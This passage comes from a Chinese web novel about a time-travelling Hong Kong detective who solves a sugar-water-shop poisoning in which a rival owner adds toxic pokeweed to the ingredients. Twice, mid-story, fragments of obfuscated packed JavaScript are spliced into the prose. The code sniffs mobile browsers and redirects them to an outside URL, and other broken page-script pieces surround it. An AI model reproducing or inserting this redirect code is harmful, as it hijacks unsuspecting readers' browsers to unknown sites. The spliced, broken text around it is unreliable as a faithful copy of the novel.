“BB你中意红豆沙是不是？” 在郭庭伟这样一个戏精面前，谭仪雯觉得自己只要点头、摇头就可以了，他们刚认识，还不太熟，如果说太多，反倒会让人察觉出破绽，结果郭庭伟却叫她BB？ 谭仪雯眯着眼睛盯着郭庭伟，眼神已经讲想说的话都说出来了——你在搞什么？ 但郭庭伟却笑着，将谭仪雯逗成现在这样好像是他故意的。不，去掉好像，他就是故意的。 “是啊。”谭仪雯不想让别人都朝他们的方向看过来，毕竟中午的时候，她还跟郭庭伟一起来查过案，现在连衣服都没换。 只要有一个客人中午的时候出来凑热闹，见过他们几个人，并且现在还记得的话，那老板吴大力就立刻提高警惕。 这到底也算是个卧底任务，之前常看警匪片的谭仪雯不想让自己的第一个卧底任务失败。 但在说出那两个字的时候，她却咬着牙，字是从牙齿的缝隙里挤出来的。 “不好意思，这几天都不能做茅根竹蔗水了。”吴大力站起身，对郭庭伟说道。 “点解？”郭庭伟表现得像是个真正的顾客，而且还是不知道今天中午发生了什么，只是路过这边随便找了一家店的普通路人。 “对面旺记今天有好几个人，饮茅根竹蔗中毒，白车来了好几辆，现在不敢买也不敢卖。”吴大力挥挥手，一副气恼的模样，就差把旺记糖水搞出中毒事件，现在连累得他也没办法卖同款产品说出来了。 可是……他们好像也没有对外宣布过是茅根竹蔗水里有毒吧？就算郭庭伟说话的时候有人听到，难不成还会特意跑到新福记跟吴大力说是茅根竹蔗水的问题吗？ “这样啊，那有没有其他推荐？”郭庭伟装作恍然大悟，顺着吴大力的话继续往下问着。 “红枣雪耳，对女孩子最好了。还有鲜雪耳莲子，现在这个天气喝了正好。”吴大力推荐着适合谭仪雯的糖水，还给了她两个选项，一个养颜，一个清润。 “BB你想喝哪个？” “都好。”谭仪雯正想着吴大力说话的漏洞，听到郭庭伟把问题抛给了她，下意识回答了一个的无限趋近随便的回答。“嗯……还是鲜雪耳莲子吧。” “红枣雪耳，鲜雪耳莲子，红豆沙，绿豆沙，多谢。” 谭仪雯本来觉得说随便或许会给郭庭伟添麻烦，随便选一个好了，结果郭庭伟直接both。 别的角色演的怎么样谭仪雯不知道。但是这个假男朋友的角色，郭庭伟演得确实不错。 4. 甜蜜药 四 在吴大力去忙活的时候，郭庭伟终于将那伪装得浓情蜜意得眼神收了起来，冲着谭仪雯挑了挑眉。 已经有了参考答案的谭仪雯当然知道吴大力就是凶手，但是郭庭伟冲她挑眉到是有些震惊——他居然也感觉到了。 不一会儿，四碗糖水就被吴大力端了上来。 “唔该。”郭庭伟感觉到吴大力走过来之后，立刻又换上了之前的表情，从表情变换，到再变回去，拢共也不过一分钟。 这个郭庭伟应该身上真是有点故事的，或许真的跟她猜的那样，是一个三年之后有三年，最后当了个好人的卧底呢。 本来就是为了查案才来这里饮糖水，所以在双方心知肚明之后，他们两个也没有慢悠悠地慢慢品那四碗糖水，在不引起吴大力怀疑的情况下，郭庭伟和谭仪雯用最快的速度吃完了糖水，付了账，离开了新福记糖水铺。 “你也觉得吴大力很奇怪的吭？”郭庭伟为了把戏做全套，出门的时候还是搂着谭仪雯的肩膀出去的，等走过了一百多米，才把手放下来。 “我觉得他就是凶手，但是不能百分之一百确认，嗯……百分之七十多吧。”知道答案还不够，必须要把所有思路和过程都补全才能将吴大力抓捕归案。 “这么笃定？百分之七十多这个分数可不低。” “女人的第六感。”谭仪雯歪着脖子，脑袋斜向上撇着，看向郭庭伟。“不要不相信啦，有时候你还是要信一下这种非自然力的。” “要不要我送你回家？”郭庭伟没有反驳，只是将话题拐到了一个完全无关的事情上。“你家应该不近吧？” 谭仪雯摇摇头。 “不用，我自己OK，明天返工我把糖水钱给你。”有借有还，再借不难。这个郭庭伟看起来还挺好相处的，但现在他们还不够熟，至少谭仪雯觉得自己不够了解郭庭伟，把糖水的钱还给郭庭伟更好。 “这有什么好还的啦，糖水而已，下次继续请你饮咯。”郭庭伟一脸满不在乎的样子。“请我的BB嘛，当然是要一直请才对了。” 谭仪雯知道郭庭伟是一个能开得起玩笑的人，所以赏了他一个白眼：“明天特别行动处还有别的女仔，你请她好咯。” “我怎么知道那个女仔够不够靓。” 郭庭伟突然笑了起来，继续用玩世不恭的语气说着俏皮话。 “小心我把这句话告诉她。”谭仪雯不会真这么做，但是现在嘴上可绝对不能输。“在你跟她说话之前我会告诉她，你只请漂亮女孩，到时候你不请她，她就会认为你觉得她长得不好看了。” “我知道你肯定不会啦。”郭庭伟说着又凑上来搂了搂谭仪雯的肩膀，松开后又追问道：“真不用我这个护花使者保驾护航？” “不用了，唔该，明天见。” 谭仪雯甩甩手，从他的胳膊下钻出来，寻找着自己的回家路，郭庭伟没有跟上来，谭仪雯也没有管他到底去了哪。 —— 谭仪雯回到家，推开门之后几乎立刻就冲进了浴室。 简单冲了个凉，从浴室里走出来的时候，头发上还搭着一块毛巾，发尾滴滴答答的往下滴水。 她坐在床边着擦头发，下一步要怎么做才能让一切顺理成章的被查到呢？ 而且这个吴大力，他到底要怎么做，才能精准地在旺记糖水铺的茅根竹蔗水里投毒呢？ 煮糖水的时候，麦旺文应该寸步不离才对，但麦旺文却没有发现投毒的吴大力。 在糖水盛出来的时候也是没有机会的。 制作过程没有机会，制作成功之后也没有机会，那就是事前。 难道是材料有问题？不管怎么说，明天先去一次旺记后厨看看情况。 正这么想着，桌子上的电话响了起来。 穿上拖鞋，谭仪雯拿起了电话，上面的备注是“daddy”，也就是书中谭仪雯的爸爸。 原书她还没看到后面，所以也不知道书里的谭仪雯父母的情况，所以第一次接电话的时候还装作刚睡醒的样子，声音含糊不清地接了电话，以免这个素未谋面的爸爸问她一些无法回答的问题。 经过几次通话之后，谭仪雯才知道原来她这个爸爸现在正在加拿大，整个香江只有谭仪雯一个人在。 暂时没有亲近的人也让谭仪雯放下心来，不然还真觉得自己的演技没法糊弄过书中谭仪雯的亲朋好友。 “喂，老豆。”谭仪雯接起电话，叫着她这个还未曾谋面的爸爸。 “做什么呢？” “查案刚回来，还好你现在打电话，五分钟之前我还在冲凉。”谭仪雯坐在椅子边，将手机换到左手边，右手从桌子上扯出一张纸，拿笔的时候才发现她把office的水笔顺了回来，看来明天还要记得带回去。 “已经开始查案了吗？”电话那头没有什么杂音，偶尔有风吹过的声音。 “这次是投毒案，今天下午去医院看过了，我走的时候还有三个人没醒，有一个小朋友情况有点不好。” 想到麦咏欣的情况，谭仪雯不住觉得揪心，希望下次再去探望的时候，麦咏欣能转到普通病房。 “有思路吗？” “当然有，不过要明天再去看下，还有要等明天一早鉴证科的结果才能继续往下走。”她倒要看看到底是汤里的什么东西让这么多人中毒。 “那就好，如果有什么危险的任务，叫别人先上”电话那头的谭耀樟叮嘱着。“不好自己冲在前面知道吗？” “我知啦，但是我也不会当逃兵的。” 关心则乱，每个家长都不想让自己的孩子身处险境，不过该上的时候谭仪雯觉得自己应该也不会退缩，而且就算第一个冲出去，她应该也冲不到最前面。 那个郭庭伟看起来会比她快一些。 而且到时候会不会吓得走不动她说不准，但是如果现在就决定退缩，到时候一定会被吓到，所以现在一定要坚定自己不能当逃兵的心才行。 “这样才有你老爸的风范。”电话那边传来谭耀樟的声音。 “老豆你又不是做警察的，我肯定 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谭耀樟对谭仪雯还不错，所以她不想让谭耀樟的名字上出现圆圈，可是刚写完名字的最后一个笔画，一个圆圈就出现在了她写出的字上。 谭仪雯将笔甩在一边，捂住了脸，十几秒之后才冷静下来，将手从脸上拿了下来。 但是奇怪的一幕却出现在了谭仪雯眼前，谭耀樟那三个字外面虽然出现了一个圆圈，但是却没有凶手两个字出现。 这是什么意思？ 谭仪雯现在只搞清楚了一件事：如果某个人是凶手，那么那个人的名字上就会画上圈，然后旁边还会标注上凶手字样。但只画圈的情况谭仪雯也是第一次见。 这个该死的技能为什么没有说明书呢，如果有说明书的话，她就能翻开说明书看看只有一个圈代表什么了。 面对无法解决的问题，谭仪雯只能把这张写了谭耀樟名字的白纸钉在墙上，等待谜底揭晓的那一天的到来。 第二天一早，谭仪雯到达西九龙特别行动处的时候，余子敬已经在办公室了，而在她自己的座位对面，坐着一个长卷发的女生，而余子敬对面坐着一个大概四十多岁的健硕男人。 看来这就是特别行动处的新成员了。 “嗨，我是黄馥妮，你叫我阿馥就好，不要叫我funny，谢谢。”黄馥妮手里拿着口红，看到谭仪雯坐在她对面，立刻开始跟她打招呼。 “ok，阿馥，我叫……” 谭仪雯还没说完，门口就想起了敲门声，谭仪雯抬起头，看到郭庭伟站在门口。 他表情严肃，没有走进来的意思，只是在看到谭仪雯抬头的时候朝她招了招手。 “怎么了？”昨天还嘻嘻哈哈，丝毫没有正经的样子，今天就板着脸，比余子敬还吓人，肯定又什么原因。 郭庭伟停顿了两秒，最后说出了一个残酷的新情况。 “麦咏欣死了。” 5. 甜蜜药 五 麦咏欣死了。 谭仪雯刚刚认识了组里的新人黄馥妮，还有一个中年男人没有打过招呼，本想着跟郭庭伟说完话之后就去打招呼，但是现在她一点心情都没有。 昨天麦咏欣还在抢救，本来还觉得过几天她就能离开ICU去普通病房了，但没想到郭庭伟却带来了这样的消息。 “你从哪知道的？” 郭庭伟先是支吾了一声，然后说道：“我今天早上去看了，早上的时候已经……” 谭仪雯没办法直接消化这个消息，靠在墙上喘了好几口气，郭庭伟一开始还以为谭仪雯是在支撑不住要摔倒了，还伸手拉了她一把。 “你还ok吗？” 谭仪雯摆了个ok的手势，然后回到了办公室里，收拾着今天调查时候需要用到的所有物品。 其实也没什么，只是一个笔记本还有昨天被她带回家的水笔。 “阿馥，你擅长录口供吗？” 黄馥妮不知道发生了什么，只知道谭仪雯笑着走出门，然后又一脸严肃地回来，收拾好了之后突然抬头，问出了一句没头没尾的话。 “今天有案子？”黄馥妮的表情就像是写着：不是吧，调任第一天就有案子？ “嗯，而且是杀人案。” 余子敬本来在桌子上写着什么报告，但是听到“杀人案”三个字的时候停下了自己的动作。 “杀人案？” “麦旺文的女儿已经死了，所以现在从投毒案升级为杀人案了。”谭仪雯站了起来，看起来随时可以出发。 听到这个最新情报，余子敬也变得严肃起来。 “滋——滋——滋——” 骆宝成桌子上的传真机突然响了起来。 热乎乎的纸带着新鲜的油墨被从传真机里一张一张吐出，余子敬拿起被传过来的资料翻看着。 谭仪雯本就打算出发，所以看到新的资料出现，便凑到了余子敬身边，看着这沓从鉴证科传真过来的检验报告。 “生物碱中毒？”谭仪雯一眼就看到了中毒两个字。但是生物碱这三个字并不能给他们接下来的调查方向一个明确的指向，所以她便又往前看了一行。“商陆皂苷，这是什么？” “我也不知道。”余子敬皱着眉，眼睛一遍一遍地扫着检测报告上的文字。 “看起来像是某种中草药。” 一会在去找新线索的时候如果遇到凉茶店，可以去凉茶店里问问他们到底什么是商陆。 专业的人干专业的事情，谭仪雯现在作为探员，当然要负责查案，但是这种专业的问题自然也要请教专业人士。 余子敬抬起手，看了看手表上的时间，距离上班时间只剩下三十秒，余子敬就这么安静地看着秒针一格格从数字6滑到了数字12。 “分两车，现在出发。” 昨天的车子已经不能容纳今天这么多人了。 今天除了昨天的三个人之外，又来了两个人。 如果都是女生的话，挤在一个车里还有可能，但那个中年男人很壮实，根本没办法挤在一起。 “我不会开车，除了Timosir，还有谁开车了？” “你可以坐我的车。”一道声音从身后传来，是那个还没有打过招呼的四十岁左右的男人。“我叫薛凯杰，可以叫我老薛。” 车子在香江的街道飞速行驶，谭仪雯坐在左边的副驾上一直翻着从鉴证科传来的资料，生怕自己遗漏了什么重要的部分。 “老薛，一会如果遇到凉茶店，记得提醒我一下。” “ok，现在天气热了，确实是一个喝凉茶的季节。” “不是去喝凉茶，而是我看到这上面有商陆皂苷，看起来像是某种中草药，所以要去凉茶店问问。” 穿越到电脑不发达的年代就这点最不好，想查什么资料都很费力，如果有电脑的话她就可以直接去新福记找有没有残留的中草药了。 “如果能确定商路的功效和中毒症状是相符的，那只需要找投放商陆的人就行了，这种草药的去向一共就那么几个地方，要么是凉茶店，要么是中药材店，而这些店铺负责采购的人通常比较固定。” “所以你的意思是，要么是这两种店铺的采购员，要么就是不熟悉的人一定会被记住。” 谭仪雯点点头。 挂在车内后视镜上的相片吸引了谭仪雯的注意，照片里是一个扎着两个小辫子的小女孩，大概四五岁，而薛凯杰蹲在她旁边，两人一起对镜头比着剪刀手。 “你女儿啊？” 薛凯杰趁着红灯也看了一眼那张挂在车里的照片，露出淡淡的笑容。 “是啊，Jenny，前几天刚过完六岁生日，现在主要跟她妈妈生活在一起，我每周六和周日可以去看她，有时候忙起来，错过陪伴时间，她妈妈也会让我去看，挺好的。” 薛凯杰没说更多，谭仪雯也没追问。 “这有一家凉茶店，再往前走五分钟就到糖水铺了，你可以去那里问问，我先带着……”薛凯杰突然忘了坐在后排的黄馥妮的名字，只能用手指朝后指着。 “阿馥。” “我先带着阿馥去旺记。” 谭仪雯点点头。 凉茶店刚刚开门，现在光顾的人还不多，只有几口小砂锅被放在灶上慢慢煮着，空气中也弥散着有些苦涩的空气。 “靓女，现在还没有煮好的凉茶，你如果不急的话可以让我看下你的舌头。”老板站在铺子里面，手里的工作一直不停，只有嘴巴在跟谭仪雯说话。 “我不是来买凉茶的。”谭仪雯说道。“老板，我想问一下你们这里有商路吗？” 凉茶店的老板停下了手中的工作，抬起头打量着谭仪雯。 “我们店里没有商陆，掌握不好容易给客人喝进医院的。” 进医院？看来上路这个东西确实是有点问题。 “老板，你可以告诉我商陆到底是什么吗？我家里人最近带回来一包，我也不知道是什么，现在也不敢碰。” “嗨呀，商陆这种东西呢，里面有毒的啦，千万不要随便吃，如果随便吃的话，进医院都是小事，搞不好又死掉的。” 凉茶店的老板一边说一边摇着头。 “那么毒？”谭仪雯追问着。 “当然啦，我们很害怕什么东西里面混进商路的，就算不死人也要昏迷好久，靓女，你家里的商路快送到中医药店去卖掉吧。”凉茶店的老板抬起头，给了谭仪雯小小的忠告。 在中药里，商陆可能会有些用处，但是他们只是凉茶店，处理不好，商陆就会毒死人。如果放在普通人手里，说不定什么时候一不小心就会把商陆放进要煲的汤。 “好，我知道了老板，祝你生日兴隆。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15003104|161858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 看来商陆确实是一味中草药，而且在处理不当的情况下会让服用的人中毒。 现在只需要找到吴大力持有商陆或者购买商陆的记录就可以了。 吴大力不是高智商罪犯，他甚至可以算得上胆小，在听到有人在旺记中毒之后，新福记连茅根竹蔗水都一并下架了。 所以他大概就不会咬死不认找到的证据，在找到证据之后，只需要一些审讯技巧就可以让他把自己所做的一切都说出来。 谭仪雯一路小跑到了旺记，余子敬这样站在那里。 “下次出任务的时候不要擅自离队。”余子敬板着脸，眼睛并没有看谭仪雯，说完话之后就直接回到了案发现场。 “对不住，刚刚我们下车的时候，他问我你去哪了，我就说你去隔壁凉茶铺调查了，Timo好像有点太高兴。”薛凯杰凑过来，他欲言又止，好几次想说些什么，却又始终没有张开口。 “没事，Timosir就是那样，看上去有点不近人情，不过没事，他人还挺好的。” 起码昨天晚上收工的时候直接就可以回家，如果让那些讨厌的人来，说不定会整体打道回府，先回到西九龙特别行的处，然后再各自回家。 薛凯杰缓缓点头。 “Timosir，我刚刚去问了凉茶店，凉茶店的人跟我说商陆皂苷是一种提取是商陆的有毒成分，算是一种中草药，但是容易和其他植物搞混。所以我们应该从商陆入手，看看旺记糖水铺储备的食材里面有没有商陆。” 现在骆宝成不在，最有领导风范的人就是余子敬，谭仪雯下意识的认为应该把这个调查结果汇报给余子敬。 余子敬听罢点头，示意谭仪雯继续说。 “故意伤害别人的理由很少，要么就是钱，要么就是权，再不然就是仇。所有人都说麦旺文这个人没有什么仇家，一个开糖水铺的也涉及不到什么权利，那有可能就是跟钱有关。做生意的嘛，说不定就是商业上的对头喽。” “你怎么就能确定是商业上的对头呢？”余子敬依旧想着刚刚谭仪雯自己一个人行动的事，说不上厌烦，但确有不满，所以面对谭仪雯的推测时，抛出了反问。 “大胆假设，小心求证。麦旺文在整个煮糖水的过程中都没有离开过，所以在这个过程中和制作过程过程后，是没有机会投毒的，唯一可能被做手脚的地方只有一个，那就是原材料。” 余子敬觉得谭仪雯说得有几分道理，就继续让谭仪雯说了下去。 “如果麦旺文不想活了，那他就一定不会把糖水卖给客人，如果他只想对顾客造成伤害，那这个糖水他就不会给女儿喝，也就是说只有一种可能会造成家人和顾客同时中毒的情况，就是他不知道糖水里面有毒。” “我们得先在店里找到商陆的残渣，然后再去中草药店里问问有谁曾经买过商陆，这么危险的中草药，如果有人最近买过肯定会被记得。听我的，准没错。” 郭庭伟从桌子旁边站了起来，又一次搂上了谭仪雯的肩膀：“这种事情我可以叫我兄弟去做，很快就能问到了。” 说着，他掏出了一台笨重的手机，编辑着消息，几十秒之后才按下发送。 谭仪雯还没来得及从郭庭伟的胳膊下钻出来，就听到了黄馥妮在糖水店后厨发出的声音。 “你们来看看这个！好像跟其他茅根都不一样！” 6. 甜蜜药 六 黄馥妮蹲在地上，戴着手套的手里举着一小节木头一样的枝条，衣服袖子上还粘着一些木屑。 “你们来看看这个是不是跟其他的不太一样？”黄馥妮说着，还用手拨了拨找到脚边的材料袋。 谭仪雯也蹲下身，仔细看这材料袋里的东西。 里面乳白色的茅根被捆成一簇一簇，但却有一些其他植物的根茎掺杂在里面。茅根颜色比较白，清洗得也很干净，参杂在里面的根茎却是褐色外皮。 “这个应该就是了。”谭仪雯戴上手套，从材料袋里又拿出来一节商陆，对着有光的地方看了老半天。“看来现在只需要知道谁买过商陆就行了。” 还用想吗？肯定是吴大力啊。 黄馥妮身上带了干净的袋子，谭仪雯念叨的时候，她已经将干净的袋子撑开，把材料袋里的商陆都捡了进去。 新福记糖水铺和旺记糖水铺距离不远，谭仪雯站在旺记的门口就可以看到新福记糖水铺的牌子，还能隐隐约约看到新福记的老板吴大力在里面忙活着招呼客人。 忽的，吴大力像是感觉到什么似的，猛然抬起头，将谭仪雯看了个正着。 他的瞳孔一颤，愣在原地好一会。 谭仪雯不知道吴大力要干什么，但他已经看到了自己，看样子也认出了现在这个站在旺记糖水门口查案的人就是昨天去他店里吃糖水，还特地点了茅根竹蔗水的人，所以在某一时刻想要逃跑也是情理之中。 “庭仔，他可能要跑，我们得守着他。” “谁？” “吴大力，他刚刚看到我们在查案了。”谭仪雯扭过头，不再看吴大力的方向，装作刚刚的对视从来没有发生过。 现在还没有真凶的确切线索，但昨天晚上下班之后谭仪雯曾经信誓旦旦地说吴大力就是凶手，再加上今早麦咏欣的死亡和方才谭仪雯的推理，郭庭伟也不得不偏向了吴大力是凶手的可能。 这两天一直表现得嘻嘻哈哈的郭庭伟突然将眼睛眯了起来，和一只想要抓捕猎物的猛兽没什么区别，十几秒钟之后，这种眼神才消失，郭庭伟又看了一眼吴大力的方向，对着谭仪雯点了点头。 “放心，跑不了的，如果他偷溜，我就追他十八条街，看看是他跑得快还是我跑得快。”郭庭伟说道。 “你体能成绩很好？” “非常好。”郭庭伟回答。“我觉得应该比他好得多。” 郭庭伟得眼神一撇，看向了余子敬。 谭仪雯得眼神在他们二人之间来回转了两圈——一个看起来是海归精英男，另一个身上充斥了草莽气，看来以后他们两个也不会对付了。 余子敬在听到郭庭伟意有所指的话之后转过身去，背对着郭庭伟，不过在谭仪雯的角度，她看到了余子敬翻起的白眼。 看吧，她说什么来着，未来这两个人应该很不对付。 不对，从昨天开始，他们就很不对付了。 吴大力有些心不在焉，他没想到昨天晚上接待的是警察，更没想到昨天晚上的那对警察居然正在查旺记的案子。 人一慌张，手上的活就容易出错，在慌乱中，他还将一只碗打破，几个坐在店里的顾客纷纷看向紧张到出汗的吴大力。 “发生什么事啊老板？” “没事，没事的。”吴大力蹲在地上，麻利地把破碗的碎片收拾了起来，丢尽了垃圾箱。“你们继续吃。” 吴大力惊魂未定，但是又嘴硬地说自己没事，实在是奇怪，关心他的那个客人又瞥了他好几眼，才继续喝碗里的糖水。 心虚的人总想着躲起来，吴大力也一样，他收拾完垃圾之后，立刻回到了柜台后面，跟厨具一起挤在逼仄又炎热的环境里。 他的眼睛到处乱瞥，心里一直都不踏实。 昨天他不认得那对警察，一定是因为当时街坊邻居都堵在那里，警察们被人墙挡住，又在他一不留神下离开。但今天他们还在查案，麦旺文也没有回来开店…… 这让吴大力不得不开始思考是不是其中有谁出了什么事情。 他只是想让旺记发生一些中毒事件，这样街坊们就可以不去旺记了，这条街上糖水铺一共就那么几家，不去旺记，自然就会来他的新福记。 但是如果出了人命……那可就不一样了啊！自己也是要坐监的。 吴大力想逃，但是又怕顾客会因为他的行为举止太过怪异而报警，只能在紧张兮兮的状态下捱过了一天。 “今天收工早点，想要早点回家。”他一整天都在偷瞄旺记糖水铺，每次偷看，都感觉那群警察也在偷看他。刚刚接近黄昏，吴大力就急不可耐地想要回家了，现在他还没有想好到底要去哪里，但是起码要比新福记安全。 拉下铁门，吴大力低着头裹着衣服朝着旺记糖水铺的反方向走去。 谭仪雯听到了铁门发出的哗啦声，立刻走到了门口，正好看到了关上的新福记的大门和想要极力伪装自己融入人群的吴大力。 “庭仔，他要走了。”谭仪雯没有回头，只是留下这么一句话，便抬脚跟了上去。 郭庭伟刚要跟上去，就听见了腰间的响动，他一边朝外走着，一边拿出笨重的手机查看消息。 是郭庭伟的线人。 “有家中药铺说最近有一个中年男人来买过商陆，之前从来没见过那个男人，年纪大概五十岁左右，微胖的身材，嘴唇右下角有一颗痣。” 五十多岁，微胖的身材，嘴唇的右下角还有一颗痣，郭庭伟回想着昨天晚上去新福记糖水铺时那个吴大力的样貌。除了那颗痣他不太确定之外，剩下的全都符合。 吴大力现在想要偷偷离开，必须要赶紧把他按住，不然他逃离香江，之后就更不好抓了。 “我知道了，下次请你。”郭庭伟在手机上回复着来信的小弟，脚下的动作没听，跟在了谭仪雯身后。 吴大力步履匆匆，没有回头看过一次。 他不是不想回头看看有没有人跟上来，但是每次想要回头的时候，又开始担心如果自己一回头，正好看到了跟在他后面的警察。 如果是之前见过的那对“情侣警察”倒还好，他看到了还能知道有警察跟着他，若是之前从来没见过的警察，他就算看到了，也不会知道有人在跟着他。 所以他只能低着头，朝着家的方向走去，不断加快着脚步。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15003105|161858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 郭庭伟个子高，步伐也大，虽然比谭仪雯晚了那么半分钟才开始追吴大力，但是没一会就已经跟谭仪雯肩并着肩了。 谭仪雯侧过脑袋，抬头看着郭庭伟。 此时郭庭伟也看向了谭仪雯，眼神交汇的瞬间，二人同时点了点头。 这个时候，不需要任何的言语，他们只有一个想法——绝对不能让这个吴大力跑了！ 或许是因为第六感，又或许是他自己吓自己，吴大力的步伐快得已经要跑起来了，跟在后面的谭仪雯更是已经开始了小跑，以免吴大力和个子高大的郭庭伟将她甩在身后。 七拐八拐，吴大力终于拐进了一栋楼里。 郭庭伟立刻迈开步子，一个箭步冲进了楼里，谭仪雯也紧随其后冲了进去。 吴大力进了楼门之后就开始疯了似的像楼上跑去。 老式的邨屋楼梯并不宽敞，容不下两个人一起上楼，就连在楼梯里遇见的普通邻居，也需要侧个身才能通过，郭庭伟先冲进楼内，只能他在前面，谭仪雯则紧随其后。 谭仪雯不知道吴大力到底住在几层，这只能希望他家高一点，不然如果他进了家门后将门反锁，然后再跳窗逃走，又不知道要耗费多少人力物力才能找到吴大力了。 既然已经打草惊蛇，那么现在只有一条路可以走——直接当场逮捕吴大力。 吴大力的家在邨屋的五层，可即便是边爬楼梯边找钥匙，他也在到家门口的时候惊慌到根本没法把钥匙插进锁孔，微弱的金属撞击的声音响了好几次，直到郭庭伟将他按在门上，吴大力也没有打开近在咫尺的自己家的大门。 “你做什么啊！救命！” 被抓到的吴大力开始了最后的垂死挣扎，他用尽了力气，也只是将郭庭伟顶开了一点，郭庭伟只是又微微乏力，就又一次将吴大力按在门上。 “现在怀疑你与旺记糖水铺的投毒案有关，对你实施抓捕，你有权保持沉默，但你所说的话将成为呈堂证供。”郭庭伟把吴大力压在门板上，咬着牙说道。 谭仪雯追了上来，胸前起伏，呼吸急促。 一口气爬上五楼对她这个普通人来说还是有点太累了。 “Madam谭，帮我从裤子口袋拿条扎带出来。”郭庭伟看吴大力不那么用力挣扎，就换了个姿势，单手钳住吴大力的后脖颈，将他继续按在门板上。 对待这么一个有逃跑想法，并且还想要暴力反抗的犯人来说，必须要彻底限制住他的行动能力才能接触对他的限制。 谭仪雯伸手去摸了摸郭庭伟的裤子口袋，里面没有手铐，只有两个白色半透明的尼龙扎带。 这下吴大力有得受了。 谭仪雯从后面抓住吴大力的两个手腕，将他的双臂反剪在身后，随后用尼龙扎带将他两只手的拇指捆在了一起。 现在他就算想跑，也跑不快了。 被郭庭伟松开后，吴大力回头看到了亲自绑住他的Madam谭。 他在这个年轻女人的眼中只看到了许多种情绪，有愤怒，有蔑视。 而最容易看得清的，便是她眼睛里的复仇之火，她对他有怨恨，她是来抓他的。 7. 甜蜜药 七 郭庭伟掰过吴大力的脸，手指压在他的嘴唇上，眯着眼睛看向了吴大力的嘴角。 在嘴唇的下面有一颗痣，看来就是他没错了。 吴大力被摆弄得没法反抗。 一开始只觉得郭庭伟是一个难搞的人，男警察通常凶猛，遇到了什么犯人就像是看到了猎物，更容易冲在前面，也最会下狠手，就像现在他只能无力地被郭庭伟扳着脑袋。 但现在他觉得那个Madam谭似乎更加凶猛。 她的凶猛不是抓住他的头发，将他按在地上，用他的脑袋猛砸地面。而是在他呼吸的每一分每一秒里，她的眼神都像是一根锐利的针扎在他的后背上。 直到吴大力被送上警车，那种尖锐的眼神都存在。 吴大力只在被谭仪雯用尼龙扎带绑住的时候和被塞上警车的时候看过谭仪雯两眼，第一眼，他感受到了谭仪雯眼睛里的怒火，而第二眼，吴大力确认了这一点。 在所有人中，最像抓到他的是这个姓谭的女警。 西九龙重案组审讯室。 不同于新福记店里的老旧装修，审讯室里的墙壁被用高级板材装饰过，没有暖色的灯光，更没有太阳的温暖，有的只是一盏白炽灯，和无尽的冷气。 吴大力的手指被谭仪雯用扎带绑的很死，被送到审讯室的时候才被用剪刀剪开，此时吴大力的双手拇指已经红得发紫了，估计如果再绑几小时，就可以直接送到医院进行拇指切除的手术了。 “要不要绑那么死啊？” 郭庭伟从抓捕开始，就一直没离开过吴大力，所以他是亲眼看着吴大力的手指头是如何一点点从被勒住摩擦出的红变成紫红色的，可他也从来没有想过将尼龙扎带剪开。 只要不需要去医院，这些小惩罚都是他吴大力应得的。 “你觉得不应该就别带尼龙扎带在身上啊。”谭仪雯双手环胸，透过监视器看着里面坐立难安的吴大力。 现在还没有人去审讯他，先让他冷静冷静，冷静到他开始害怕的时候，就是开始审讯的时机了。 “谁想到你能扎那么紧。” “他活该。”谭仪雯没有一点犹豫，吴大力这种不踏实肯干的人收到一些法律意外的小惩罚都是他应得的。 郭庭伟没再继续说话。 他们想的一样，不过他郭庭伟这么想是因为他之前混过市井，野路子就是要这么做。郭庭伟眯起眼，从后方看着谭仪雯的侧脸。 “阿馥把中药店的老板请来了吗？” 阿馥是唯一一个没有跟他们一起坐车来重案组的人。 一是因为余子敬开车，薛凯杰和郭庭伟一左一右在后排抓着吴大力的领子，谭仪雯坐在副驾，实在是没有黄馥妮坐的地方。 二则是因为她要去找那个中药店的老板，叫他来指认吴大力。 “说是在路上了，我估计快到了，那家店距离新福记和旺记都不算太远，去找那家店的老板不算麻烦。”郭庭伟回答道， 等黄馥妮待着中药店老板来到重案组的时候，已经是半小时之后了，吴大力看起来比刚刚更加焦躁，而且已经冲着摄像头喊了好几次说要喝水了，腿也为了缓解压力一直抖个不停。 “就是他了，你看一下这个人是不是你那天见到的人。”黄馥妮只远远地看了一眼吴大力，所以只能认出吴大力的背影，对你她能看见谭仪雯的眼神，顺着谭仪雯的眼神，她找到了显示着吴大力的监控。 一个年轻人将脸凑上前去，看了快一分钟才说话：“就是他，我记得他的。” “请问你是……”谭仪雯听说是请中药店的老板来，可是这个年轻人怎么看着也不像是一家店的老板。更像是学徒或者是老板的儿子。 “中药店是我老爸的。”年轻人回答道，眼睛还是盯着监视器上的吴大力，生怕自己一不小心认错了，毕竟刚刚姓黄的女警过来说这次要来认的人非常重要，关乎人命，绝对不能有任何差错。 “你再看一眼，确定是他对吗？”谭仪雯追问。 “我觉得就是他，身形很像，而且我记得他有一只胳膊更强壮一点，好像是右边胳膊，这里面虽然看不太清，但是我感觉这边好像比另一边更壮实一点。”年轻人用手指着小小的监视屏，在吴大力的身形上来回比划着。 谭仪雯长出了一口气。 现在基本可以确定吴大力确实从中药店里买了带有毒性的商陆，黄馥妮也在旺记糖水厨房的材料袋子里找到了参杂在里面的商陆，吴大力又有逃跑行为，就只差让吴大力承认自己确实是把商陆放到旺记的这最后一环了。 不过谭仪雯一点也不担心。 